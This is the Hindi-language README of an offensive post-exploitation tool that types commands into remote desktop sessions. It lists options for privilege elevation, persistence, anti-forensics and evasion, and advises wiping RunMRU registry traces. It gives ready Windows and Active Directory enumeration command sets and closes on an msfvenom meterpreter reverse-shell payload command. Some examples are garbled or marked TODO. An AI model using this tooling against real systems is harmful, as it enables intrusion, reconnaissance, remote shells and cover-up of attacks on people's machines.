
एक स्क्रिप्ट जो ग्राफिकल डेस्कटॉप प्रोग्राम के माध्यम से कीस्ट्रोक्स को स्वचालित करती है।
एक स्क्रिप्ट जो सक्रिय रिमोट डेस्कटॉप सत्र के माध्यम से कीस्ट्रोक्स को स्वचालित करती है, जो आक्रामक ऑपरेटरों को लिविंग ऑफ द लैंड तकनीकों के साथ संयोजन में सहायता करती है। सभी श्रेय nopernik को जाता है जिन्होंने इसे संभव बनाया, इसलिए मैंने इसे बेहतर बनाने का बीड़ा उठाया। मैं कुछ ऐसा चाहता था जो पोस्ट-एक्सप्लॉइटेशन चरण में रिमोट डेस्कटॉप के माध्यम से कमांड निष्पादित करते समय सहायता करे। संसाधनों को व्यवस्थित तरीके से एकत्र करने के लिए SCPA प्रोजेक्ट बनाना भी संभव था।
अपने पैकेज मैनेजर के अनुसार शेष निर्भरताएँ स्थापित करें।``` $ sudo apt install -y xfreerdp-x11 remmina xdotool
$ sudo dnf install -y xdotool freerdp-2 remmina
$ sudo pacman -S freerdp remmina xdotool
$ sudo emerge xwayland freerdp remmina xdotool
$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina
### सेटअप
सिस्टम में प्रोग्राम इंस्टॉल करें और `rks` को `remotekeystrokes` का एक सिम्बॉलिक लिंक बनाएं। इसका उपयोग कमांड उपनाम के रूप में किया जाएगा।```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks
$ remotekeystrokes -h Usage: remotekeystrokes
Flags:
COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute
-p, --platform <operating_system> Specify the operating system ("windows" is
set by default if not specified)
-w, --windowname <window_name> Specify the window name to focus on the
active window ("freerdp" is set by default
if not specified)
-h, --help Display this help message
UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer
METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"
-s, --submethod <submethod> Specify a submethod from a method (applies
with -m flag)
-a, --action <action> Specify an action from a method and/or
submethod (applies with -m and/or -s flag)
-e, --evasion <evasion> Specify an evasion method for uploading files
(only works for "pwshb64")
## उपयोग
### 0x00 - दूरस्थ प्रमाणीकरण
#### प्रतीक
- डॉलर चिह्न (`$`) एक unix शेल प्रॉम्प्ट को इंगित करता है जिसमें सामान्य उपयोगकर्ता विशेषाधिकार होते हैं, और इसमें कमांड शामिल होते हैं।
- कोण कोष्ठक (`<>`) का अर्थ अनिवार्य पैरामीटर है।
- वर्ग कोष्ठक (`[]`) का अर्थ वैकल्पिक पैरामीटर है, यदि निर्दिष्ट करना आवश्यक न हो।
#### RDP
आधुनिक ऑपरेटिंग सिस्टम को प्रमाणित करने के लिए, या तो TLS `/sec:tls` के रूप में प्रमाणीकरण को बाध्य करने के लिए फ़्लैग निर्दिष्ट करें या NLA `/sec:nla` के रूप में प्रमाणीकरण।```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]
पुराने ऑपरेटिंग सिस्टम को प्रमाणित करने के लिए फ़्लैग /sec:rdp निर्दिष्ट करें ताकि पुरानी प्रमाणीकरण बाध्य हो।```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]
#### VNC
VNC मशीन को दूरस्थ रूप से प्रमाणित करने के लिए।```
$ remmina -c vnc://<username>:<password>@<IP>
$ ssh [-p ] @
#### Telnet```
$ telnet <IP> [PORT]
प्रमाणित रिमोट सत्र के साथ विंडोज टार्गेट पर कमांड निष्पादित करने के लिए remotekeystrokes (या एक उपनाम कमांड rks) का उपयोग करने के लिए। उन्हें निष्पादित करने से पहले आपको एक विंडो नाम (-w) के साथ नेविगेट करना होगा, डिफ़ॉल्ट रूप से xfreerdp का उपयोग करते समय यह FreeRDP खोजेगा। भिन्न रिमोट लॉगिन प्रोग्राम वाले सिस्टम को लक्षित करते समय विंडो नाम निर्दिष्ट करना सुनिश्चित करें। कमांड जारी करने के लिए -c फ्लैग निर्दिष्ट करें। आप कमांड डालने के लिए एक टेक्स्ट फ़ाइल भी तैयार कर सकते हैं और यह उन्हें एक-एक करके पढ़ेगा। फ्लैग जांचेगा कि यह एक स्ट्रिंग है या फ़ाइल।
ग्राफिकल रिमोट डेस्कटॉप प्रोग्राम जैसे FreeRDP, Remmina, और अन्य तृतीय-पक्ष प्रोग्राम के लिए। telnet और ssh जैसे रिमोट टर्मिनल सत्रों के विपरीत। आपको टार्गेट मशीन के अंदर एक सक्रिय एप्लिकेशन पर कर्सर नेविगेट करना होगा। उदाहरण के लिए, विंडोज वातावरण में आपको एक कमांड प्रॉम्प्ट (cmd.exe) या पावरशेल (powershell.exe) खोलना होगा। विंडोज के लिए त्वरित लॉन्च के लिए डायलॉग बॉक्स (-m dialogbox) के साथ प्रोग्राम खोलना संभव है। जब आपने शुरू में इस विधि से निष्पादित किया था तो रजिस्ट्री प्रविष्टि से निशान साफ़ करना सुनिश्चित करें। यह HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU में स्थित है। आप उदाहरण देखेंगे कि आप केवल Living off the Land (LotL) तकनीकों के साथ त्वरित आक्रामक उपाय कैसे कर सकते हैं।
स्थानीय मशीन की गणना।``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!
एक आदेश में निष्पादित करने के लिए। यह विशेष रूप से तब संक्षिप्त होता है जब एक डायलॉग बॉक्स के साथ उपयोग किया जाता है।```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
एक्टिव डायरेक्टरी गणना.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!
एकल कमांड में निष्पादित करने के लिए। यह विशेष रूप से एक डायलॉग बॉक्स के साथ उपयोग करने पर संक्षिप्त है।```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
स्थानीय मशीन गणना (TODO)``` $ cat recon_local_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_local_enum_cmdlets.txt
सक्रिय निर्देशिका गणना (TODO)```
$ cat recon_ad_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_ad_enum_cmdlets.txt
पावरशेल की सामग्री पढ़ते हुए पेलोड निष्पादित करें।``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1